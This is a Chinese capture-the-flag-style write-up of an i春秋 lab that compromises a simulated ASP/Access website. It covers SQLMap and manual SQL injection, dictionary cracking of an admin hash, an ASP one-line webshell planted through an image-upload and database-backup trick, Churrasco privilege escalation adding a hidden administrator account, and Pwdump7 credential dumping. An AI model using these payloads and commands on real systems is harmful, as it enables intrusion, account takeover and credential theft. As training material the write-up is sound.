【i春秋】渗透测试入门 —— 网站综合渗透实验

0x00 前言

本实验同样呈现了一次完整的模拟渗透流程,从最初获取网站管理员的账号密码,然后获得主站的 webshell,最后通过提权获得服务器系统的最高权限。

从实验手册上给出的工具提示可看出,本次渗透貌似更注重端口扫描社会工程学的运用,其实大可不必被其限制了思路,当作一种参考方向即可,按照以往的渗透方法一样能达到目的。

简单介绍一下靶机环境:主站为秋潮个人摄影网站管理系统,主站下还有一个 LeadBBS 论坛,均采用 ASP 后端脚本语言与 Microsoft Office Access 数据库,此类小型 CMS 一般都没有官网,且漏洞较多无人维护,只能从各大软件平台下载源码;服务器系统为 Windows Server 2003 Enterprise Edition,如果没打好补丁,此系统也是漏洞百出。显然,靶机采用了经典网站服务器的标配 Windows + IIS + ASP + Access

可见,本实验的渗透方法与靶机环境与 【i春秋】渗透测试入门 —— 我很简单,请不要欺负我 中的大同小异,因此可作为本文的参考。

0x01 后台管理员「linhai」的密码是?

后台管理员的密码是打开渗透测试大门的钥匙,但网上关于「秋潮个人摄影网站管理系统」的漏洞信息少之又少,毕竟是个小众 CMS,所以我们只能自己动手,丰衣足食。根据这几次模拟渗透的经验,获取后台管理员密码的思路主要有敏感信息泄露、SQL 报错注入返回敏感信息、手工注入或利用自动化注入工具直接读取数据库等,我们还是先按照常规套路:寻找网页中存在的注入点

SQL 自动化注入

使用 SQL 自动化注入工具是读取数据库信息最高效的方法,熟悉多种注入工具也是一名合格渗透工程师的基本要求,国内外的 SQL 自动化注入工具种类繁多,常见的有明小子(Domian)、穿山甲(Pangolin)、啊D注入工具、SQLMap 等。

下面以明小子(Domian)与 SQLMap 为例进行演示,以上工具均在实验工具箱中的【注入工具】文件夹下。

明小子(Domian)

明小子(Domian)是国内的一款 Web 应用程序综合渗透工具,有可视化图形界面,简单易用,在国内安全圈极负盛名。

打开工具,依次点击 SQL注入 -> 批量扫描注入点 -> 添加网址,填入主站 URL http://www.test/ichunqiu/,保存后点击 批量分析注入点

分析完毕后,可见又是一堆数字型 SQL 注入,以第 3 个注入点为例,右键点击 检测注入

接着会自动跳转至 SQL注入猜解检测 选项卡,再点击 开始检测,证实了 http://www.test.ichunqiu/see.asp?id=480&titleid=102 确实是一个可用的注入点:

确认可注入后,点击 猜解表名 后得到 3 张表,接着选中 admin 表,点击 猜解列名 后得到 3 个列名,在所有列名前打上钩,点解 猜解内容 后即可得到管理员的账号为 linhai,16 位的密码哈希值为 d7e15730ef9708c0。至此,通过明小子工具成功地获取了管理员的账号密码。

SQLMap

SQLMap 是一款专注于自动化 SQL 注入检测的开源渗透工具,用 Python 脚本语言编写,能在装有 Python 2.6.x 与 Python 2.7.x 的系统上跨平台运行,支持对数十种常见数据库的检测,被誉为 SQL 注入领域的一大渗透神器。

由于 SQLMap 只支持命令行界面,且默认不支持批量扫描注入点,故其易用性不如明小子,但也丝毫不影响其渗透威力,反而还拥有更高的检测效率与更广的检测范围。SQLMap 作为渗透工程师常用且必备的工具,应当重点掌握。下面将列出渗透过程中常用的命令及用法,建议同时参考官方文档

(1)python sqlmap.py -h:查询帮助手册。
(2)python sqlmap.py -u <URL>:检测该 URL 是否存在注入(末尾记得写上查询参数)。
(3)python sqlmap.py -u <URL> --dbs:查询所有数据库名。
(4)python sqlmap.py -u <URL> --current-db:查询当前数据库名。
(5)python sqlmap.py -u <URL> -D <database> --tables:查询某数据库中的所有表名。
(6)python sqlmap.py -u <URL> -D <database> -T <table> --columns:查询某数据表中的所有列名。
(7)python sqlmap.py -u <URL> -D <database> -T <table> -C <column> --dump:查询某列中的所有数据。

以上是通过 GET 方式来检测注入点,并进行 SQL 注入读取数据库中数据的常规套路。注意一个特例:由于 Microsoft Access 数据库结构特殊,注入时不必通过(3)或(4)来查询数据库名,直接从(5)开始查询表名即可,-D 选项也可省去。

小贴士:为了避免在命令行界面输入中文进入【SQLMap】目录,因此使用前建议将【SQLMap】文件夹拷贝到 C 盘下。

确保了命令行路径在【SQLMap】目录下后,根据(2)输入命令 python sqlmap.py -u "http://www.test.ichunqiu/see.asp?id=480&titleid=102",若询问「已检测到后台数据库为 Microsoft Access,需要跳过对其他数据库的检测吗?」填 Y,询问「想对 Microsoft Access 进行更全面的测试吗?」填 Y,询问「想尝试用随机整数值进行测试吗?」填 Y,询问「已确认 id 参数可注入,还需检测其他参数?」填 y,询问「已确认 titleid 参数可注入,还需检测其他参数?」填 y,询问「请选择一个注入点?」填 0注意:此处 URL 中包含两个请求参数,所以最好用双引号将 URL 括起来。

小贴士:以上操作是为了全面检验注入点,实际上找到一个注入点后,即可填 N 终止检测其他参数。为简化后续注入流程的叙述,在选择注入点时默认填 0

结果显示 idtitleid 参数均为基于布尔的盲注(boolean-based blind),并且返回了一些服务器相关信息,如:服务器操作系统为 Windows 2003 或 Windows XP,Web 应用程序采用了 APS.NET、Microsoft IIS 6.0、ASP 等建站技术,后端数据库数理系统为 Microsoft Access。以上对服务器相关信息的收集有助于后续更高效精准的渗透。

知道了后端数据库是 Microsoft Access 后,可以跳过(3)或(4)直接进行(5),输入命令 python sqlmap.py -u "http://www.test.ichunqiu/see.asp?id=480&titleid=102" --tables,若询问「需要检测常用表名是否存在?」填 Y,询问「需要的线程数量?」填最大值 10。等待扫描全部结束后,得到了包含 admin 表在内的 4 张表。

继续执行(6)中的命令,输入 python sqlmap.py -u "http://www.test.ichunqiu/see.asp?id=480&titleid=102" -T "admin" --columns,若询问「需要检测常用列名是否存在?」填 Y,询问「需要的线程数量?」填最大值 10。等待扫描全部结束后,得到了 adminpassword 等 3 个字段。

最后执行(7)中的命令,输入 python sqlmap.py -u "http://www.test.ichunqiu/see.asp?id=480&titleid=102" -T "admin" -C "admin,password" --dump,等待其枚举完毕,若询问「需要临时保存结果的哈希值?」填 N,询问「需要用字典攻击来破解结果?」填 n,最终可得到管理员的账号密码。

SQL 手工注入

除了会使用 SQL 自动化注入工具,手工注入也应该是渗透工程师的基本技能之一。下面仍旧针对上述注入点,演示手工注入获取 Access 数据库内容的全过程。详细指导可参考:

asp+access sql手工注入步骤
access手工注入

Step 1:猜解表名

在火狐浏览器打开存在注入点的页面,将 URL 改为 http://www.test.ichunqiu/see.asp?id=480&titleid=102 AND EXISTS(SELECT * FROM <table>),其中 <table> 为待猜解的表名,如果表名存在,页面将显示正常,否则出现异常。注意:如果管理员把库名、表名、列名更改得随机复杂,手工注入将变得非常困难。

打开 HackBar 工具,我们对 adminnewsconfig 等常见表名进行猜解,发现均能正常显示:

Step 2:猜解列数

已知 admin 表存在后,接着猜解当前未知表的列数,用于后续的联合查询(UNION SELECT),因为联合查询的必要条件是每个查询的列数需要严格相等,并且有的数据库要求每列的数据类型也必须相同

猜解列数最便捷的方法是利用 ORDER BY 语句的隐藏用法。一般来说,ORDER BY <column> 代表对 <column> 列进行升排序,而 ORDER BY <column_order> 代表对第 <column_order> 列进行升排序。显然,<column_order> 的最大取值即为查询数据的列数,因此,当发现 ORDER BY nORDER BY n+1 的页面显示不同时,可判断当前查询数据的列数为 n。

注意,只有在后端数据库的查询语句为 SELECT * FROM admin 时,当前查询数据的列数 n 才等于数据库 admin 的总列数。详情可参考:sql注入之order by猜列数问题

经过简单测试,可以确定查询数据的列数为 2:

Step 3:找出显位点

下面要构造联合查询 UNION SELECT 1,2,...,n FROM <table> 找出显位点,其中列数为 n,表名为 <table>注意:对于数据类型不兼容的数据库,以上方法会造成语句错误,此时需改为 UNION SELECT null,null,...,null FROM <table> 才能正常执行,但同时也失去了查找显位点的效果。

小贴士:查询结果中的某些数据会出现在当前页面,而这些数据对应的列称为显位点

由于目标数据库只有 2 列,简单测试后即可发现第 1 列为显位点:

Step 4:猜解列名

最后一步,就是用猜想的列名去替换显位点,如果猜想正确,则页面会显示数据内容,否则出现异常。我们对 userusernameaccountadminpwdpasswordkeycredit 等常见列名进行猜解,终于从 adminpassword 两列中读取到管理员的账号密码:

社工字典攻击

既然实验手册提示使用社工工具,那不妨对管理员「linhai」进行一次社工攻击。

将主站所有页面都浏览一遍,在页面底部均能发现以下信息:管理员的 QQ 号为 1957692,Email 为 linhai0812@21cn.com,并由此推算出生日期是 8 月 21 日,还发现了主站的管理入口

还在 摄影论坛 选项卡中发现一个用 LeadBBS 搭建的论坛,习惯性地用账号 admin 与密码 admin 尝试登录,居然成功进去了(若尝试失败,直接注册一个账号也是能登录进去查看相关信息的),并在 论坛信息 -> 论坛管理团队 中发现「linhai」为论坛管理人员:

点击「linhai」查看其相关信息,在 签名栏 中发现他生于唐山大地震,即 1976 年

以上是在网站上能挖掘到关于「linhai」的全部信息,接下来打开工具箱【社工辅助】中的亦思想社会工程学字典生成器,将收集的信息填入,点击 生成字典,在本目录下打开字典 mypass.txt,即可看到一系列密码的猜测值:

再打开【破解工具】->【MD5】中的 MD5Crack2,在 破解单个密文 栏中填入上文获取的密码哈希值 d7e15730ef9708c0,在 使用字典 -> 字典一 中点击 浏览,选中刚才生成的社工字典(在 文件类型 中选择 文本文件(*.txt) 即可看到文本文件),点击 开始,成功破解后即可看到管理员的密码明文 linhai19760812

由于模拟渗透环境的特殊性,该密码哈希值经常被提交至各大 MD5 破解网站,因此用在线的 MD5解密工具 也能得到管理员的密码明文:

小贴士:一般来说,复杂的管理员密码,是很难通过在线破解立即查询到明文的,除非之前被提交查询过,这时只能通过其他手段获取密码明文。

0x02 LeadBBS 论坛可否获得 webshell?

注意:上一节获取 linhai 账户的密码 linhai19760812,是用于登录主站管理后台的,不是用来登录论坛的,虽然「linhai」也是论坛管理员,但他的密码目前还未知。因此,我们继续用 admin 账户在论坛中搜刮漏洞,看看可否从论坛中获得 webshell。

浏览了整个论坛,发现只在 我的控制面板 -> 修改用户资料 页面中有写入与上传功能。先尝试将一句话木马 <%Eval Request("cmd")%> 写入用户资料,不出意外的话 <>" 等符号均被转义为 HTML 字符实体,木马写入失败:

再尝试上传图片功能,将 C 盘下的 工具.ico 改名为 test.asp;gj.jpg,目的是利用 IIS 解析漏洞,将图片解析为 ASP 脚本文件。点击 选择文件,选中 test.asp;gj.jpg 后点击 上传

发现文件被重新随机命名,因此想控制文件名利用解析漏洞,也以失败而告终:

此外,笔者还用了 Burp Suite 工具抓包改包,试图构造畸形目录触发解析漏洞,但在图片上传的包中也没发现可控的上传路径,故尝试失败。有兴趣的读者可自行尝试,此处就不演示了。

用浏览器也没有搜索到 LeadBBS 有效的漏洞信息,不过,没有绝对安全的系统,有兴趣可以下载论坛源码进行审计,相信一定能找到突破口的。总之,目前暂时不可以从 LeadBBS 论坛获得 webshell,若各位找到了获得 webshell 的方法,笔者愿闻其详。

0x03 SQL Server 数据库 sa 账号的密码是?

点击在主站页面底部发现的 管理入口,用账号 linhai 与密码 linhai19760812 登录进入后台:

小贴士:若 CMS 保留默认设置,即使主站页面没给出后台管理入口,也能通过后台扫描工具,或搜索该 CMS 的默认后台管理路径来获得。

由于主站是个小众 CMS,在未能获取有效漏洞信息,以及没有对其代码审计的情况下,应该对所有页面中可能出现写入或上传漏洞的地方进行黑盒测试。下面以几个测试点为例,演示黑盒测试的过程。

Failure 1:添加图片

图片管理 -> 添加图片 页面,发现可以上传图片,先将【我的文档】->【图片收藏】->【示例图片】目录中的 Winter.jpg 复制到 C 盘目录下,方便后续使用,然后在页面填写相关信息,并在 图片一 中选择 Winter.jpg 后点击 上传

上传之后,在 管理图片推荐组图 页面中均未能发现 Winter.jpg,由此推断添加图片功能被禁用了。

Failure 2:文章管理

系统管理 -> 文章图片 页面,发现可以写入文章,遂尝试写入一句话木马:

写入之后,打开文章,同样发现 <>" 等符号均被转义为 HTML 字符实体,木马写入失败:

Success:系统变量设置 + 备份数据库

设置管理 -> 系统变量设置 页面,发现可以写入设置信息,以及上传图片。不过,在尝试写入一句话木马时,点击 设置 却得到了错误信息:

此路不通,心里莫名一紧,只剩下最后的上传图片功能了。点击 上传图片,选择 Winter.jpg,哟嘿,居然能成功上传:

带着一点小激动,继续点击 生成代码,发现图片的路径也给显示出来了:

这说明有戏啊!接着探索,在 数据管理 -> 备份/恢复数据库 页面发现,似乎能把指定文件通过备份转换为 ASP 脚本文件:

二话不说,先试一波。从默认备份路径可看出,当前路径应该在 /admin/ 下,所以数据库路径为 upfiles/201841631359.jpg,备份的数据库路径为 upfiles/201841631359.asp

成功备份后,访问 URL http://www.test.ichunqiu/admin/upfiles/201841631359.asp,得到 ASP 脚本解析错误信息:

因为该 ASP 脚本是由图片文件转化而来,解析错误是理所当然啊!这也进一步证实:通过备份数据库可以将目标文件转换了 ASP 脚本

找到方向后,开始制作图片马,不过注意,不能通过 copy 命令或文本编辑器将一句话木马附在真正的图片后,否则会出现解析错误。因此,必须将木马插在文本文件中,再把后缀名改成图片格式即可。为了图片马能成功上传,最好填充大量文本信息,为了使文本文件的大小更接近图片文件:

重复上述步骤,将图片马通过备份数据库转换成 ASP 脚本后,访问 URL http://www.test.ichunqiu/admin/upfiles/201841637712.asp,看到如下页面,说明图片马上传成功:

菜刀连接获取 webshell

下面的操作相信大家已轻车熟路,在工具箱【webshell】目录下拔出中国菜刀,在 添加SHELL 中填入目标 URL 与请求参数后保存:

双击 shell 记录,成功连接网站的文件管理系统:

然后搜索网站根目录下所有文件,查找有关 SQL Server 数据库的用户信息,最终在 /conn_old.asp 文件中发现账户 sa 的密码为 linhai123456woaini

注意:以上发现的 SQL Server 数据库账号密码,与主站目前在用的 Microsoft Access 数据库无任何关系,只是作为考察信息检索能力的题目而存在。从文件名亦可得知,这是主站连接数据库的旧配置信息。

此外,在 /db/ 目录下发现了数据库文件,可见 bear.aspbear.ldb 同名,并且 bear.asp 占用空间较大,由此推测为 bear.mdb 的备份数据库文件。

小贴士:.LDB 文件是打开 Microsoft Access 数据库文件 .MDB 时自动创建与删除的数据信息锁定文件,一般与 .MDB 文件同名,且位于同一目录,用于存储用户名与主机名等相关信息。

右击 bear.asp 将其下载至桌面,并改名为 bear.mdb。打开明小子注入工具,依次点击 数据库管理 -> 文件 -> 打开数据库,选中桌面上的 bear.mdb 文件后打开:

在数据库中发现了 admin 表,以及主站后台管理员「linhai」的账号密码,从而证实了 bear.asp 文件为主站的后台数据库。

0x04 目标服务器系统的管理员密码是?

终于到达最后一关:「获取目标服务器的管理员密码」,我们先倒推一下思路:获得服务器系统管理员权限 -> 破解管理员的密码哈希值 -> 上传提权工具 -> 寻找上传点,因此首先要做的是确定上传点!

那么如何确定上传点呢?具有写权限的目录都可以作为上传点,在 C 盘下的每个目录尝试上传,发现 C:\InetpubC:\RECYCLERC:\wmpub 三个目录具有写权限,其他目录均写入失败。下面演示以 C:\wmpub 作为上传点。

系统提权将利用 CVE-2009-0079 漏洞,采取 cmd.exe + Churrasco.exe + 3389.bat 的工具组合,其中 cmd.exe 是为了代替原服务器中权限受限的命令行交互环境,Churrasco.exe 是用于提权的漏洞利用工具(也可用 pr.exe 与 iis.exe 等提权工具代替),3389.bat 是打开 3389 端口及远程桌面服务的批处理脚本文件。

小贴士:CVE-2009-0079 是 Microsoft Windows RPCSS 服务隔离的本地权限提升漏洞,收录于 Microsoft 安全公告 MS09-012,影响 Microsoft Windows Server 2003 SP2 等多个系统版本。

首先将工具箱【提权工具】->【windows】目录中的三款工具,在菜刀的文件管理页面空白处,右键点击 上传文件 至服务器 C:\wmpub 目录下,接着右击 cmd.exe,选择 虚拟终端 进入到命令行交互界面:

输入 systeminfo 命令,获取服务器系统相关信息,得知系统为 Microsoft Windows Server 2003 Enterprise Edition SP2,且只安装了一个补丁程序,即可猜测该系统存在 CVE-2009-0079 漏洞:

接着切换到 C:\wmpub 目录,输入 churrasco "net user ichunqiu key /add" 命令,添加一个名为 ichunqiu、密码为 key 的用户:

再输入 churrasco "net localgroup administrators ichunqiu /add"命令,将 ichunqiu 用户添加到 administrators 用户组:

小贴士:可通过 net usernet localgroup administrators 查看命令是否执行成功。

最后输入 churrasco 3389 命令,打开 3389 端口及远程桌面服务:

确认提权成功后,在本机上点击 开始 -> 运行,输入 mstsc,远程计算机地址为 172.16.12.2(在实验场景拓扑图上可见):

正常情况下会弹出远程桌面,输入用户名 ichunqiu 与密码 key,即可成功登录远程服务器:

进入到远程主机桌面,此时可以通过 pwdump 工具 获取管理员密码的哈希值,常见的 pwdump 工具有 Pwdump7、QuarksPwDump、Cain & Abel 等。

小贴士:pwdump 是一类能从 Windows SAM(Security Account Manager) 中读出本地用户 LM(LAN Manager)NTLM(NT LAN Manager) 密码哈希值的工具(注意必须在管理员权限下),其中 LM 与 NTLM 是 Windows 系统下的安全认证协议,并且 NTLM 是 LM 的演进版本,安全性更高。

下面以 Pwdump7 为例进行演示,先将实验工具箱【提权工具】->【hash】->【Pwdump7】文件夹下的 Pwdump7.exelibeay32.dll 两个文件通过菜刀上传至服务器 C:\wmpub 目录,再回到远程主机桌面点击【开始】 -> 【我的电脑】,进入上传点打开 cmd.exe,直接输入 pwdump7 命令即可获得所有用户的密码哈希值,其中 3C8D6C158F6FB3D1FDCFC2AFB2D1BE34 是 LM 哈希,594B9CD2577A5AC2BE0CA522D5EC6ACE 是 NTLM 哈希:

最后,打开在线哈希值破解工具 Objectif Sécurité ,在主页点击 OPHCRACK 选项卡,将 NTLM 哈希 594B9CD2577A5AC2BE0CA522D5EC6ACE 填入第一个文本框,点击 GO 解密后,即得管理员系统密码的明文 88hvpebv

0x05 文末彩蛋

当我们拥有了服务器管理员账号 Administrator 与密码 88hvpebv 后,可以打开上帝视角来回顾一下靶机渗透环境,对之前渗透过程中遇到的有趣现象有更深入的理解。

直接查看 SSMS 账户的密码?

进入到远程服务器的管理员桌面后,发现了数据库集成环境 SQL Server Management Studio,心想是否能直接通过该 IDE 查看到账户 sa 的密码呢?于是打开 SSMS,点击 连接(C) 进入数据库服务器,在 ADMIN-508BF95B0 -> 安全性 -> 登录名 路径下找到账户 sa

双击 sa 账户,发现在登录属性中只能看到其密码的 * 号隐藏值:

搜索了许多相关资料后才知道,只能通过 SSMS 修改密码,但不能查看原密码,否则安全性怎么保证呢?想了想确实也是,因此账户 sa 的密码除了在主站数据库配置文件中作为敏感信息泄露外,目前暂无他法,若读者们找到了其他途径获得密码,还请分享交流。

「linhai」的论坛后台管理密码?

通过菜刀在主站 /bbs/Data/ 目录下发现了数据库 dtxy.mdb 的备份文件 dtxy.asp,与上文类似,将其下载至桌面,并改名为 dtxy.mdb,点击右键查看其属性,如果发现其大小为 0 字节,则说明下载失败。此时若用明小子注入工具打开,则会弹出输入数据库密码的提示,实际上是由于识别了无效的数据库文件

笔者在实验过程中时而下载成功,时而失败,原因至今不明。经过反复试验,这里提供两种解决方法,供大家参考:

将 dtxy.asp 复制到其他文件夹再下载

笔者尝试将 dtxy.asp 复制到其他文件夹中(如 /bbs/Board/),下载后发现其大小终于不为 0 字节,说明下载成功。

更有意思的是,将其他文件夹的文件(如 /bbs/Board/Board.asp)复制到 /bbs/Data/ 中,也能正常下载。

因此,结论是原本就在 /bbs/Data/ 目录下的文件不能正常下载,至少刚开始连上菜刀的时候不行。后面不知过了多久,经过了什么操作,又能够正常下载了。这一神奇的现象笔者至今无法理解,请有经验的前辈多多指点。

直接将明小子注入工具上传至服务器

另一种方法,是在成功提权的情况下,直接将明小子注入工具通过菜刀上传至服务器,即可在远程服务器内利用明小子查看任意数据库文件,避免了下载文件可能出错的问题。

获取论坛用户密码

通过以上两种方法,即可成功查看数据库 dtxy.asp 中的内容。双击 LeadBBS_User 表,即可看到论坛所有用户的相关信息:

其中,用户 linhai 的密码哈希值为 e10adc3949ba59abbe56e057f20f883e,解密后得到密码明文 123456

还可验证管理员用户 Admin 的密码哈希值 21232f297a57a5a743894a0e4a801fc3,解密后确实为 admin,与之前的猜测一致:

事实上,整个 Web 应用程序最有价值的就是这张表,里面包含所有用户的隐私信息,不仅能实现任意用户登录,而且还能通过撞库威胁其他 Web 应用上的账户,甚至利用钓鱼或社工手段骗取钱财。因此,该表通常也是黑产的终极目标,也是互联网企业最核心的用户资产,其重要性不言而喻。

0x06 小结

本篇 writeup 是 i春秋「渗透测试入门」系列实验的最后一作,在前篇 writeup 【i春秋】渗透测试入门 —— 我很简单,请不要欺负我 的基础上,加强巩固了渗透测试过程中信息收集、社工运用、SQL 注入、上传图片木马、获取 webshell、权限提升、获取系统用户密码等技巧的使用。

笔者水平有限,希望自己的一点心得体会有助于各位读者加深对渗透测试的理解,在动手实践之后能更熟练地掌握渗透工具。最后向以下两篇参考 writeup 的作者致谢,欢迎各位指出不足之处,分享独特思路。

02-在线挑战详细攻略-《网站综合渗透实验》
ichunqiu在线挑战–网站综合渗透实验 writeup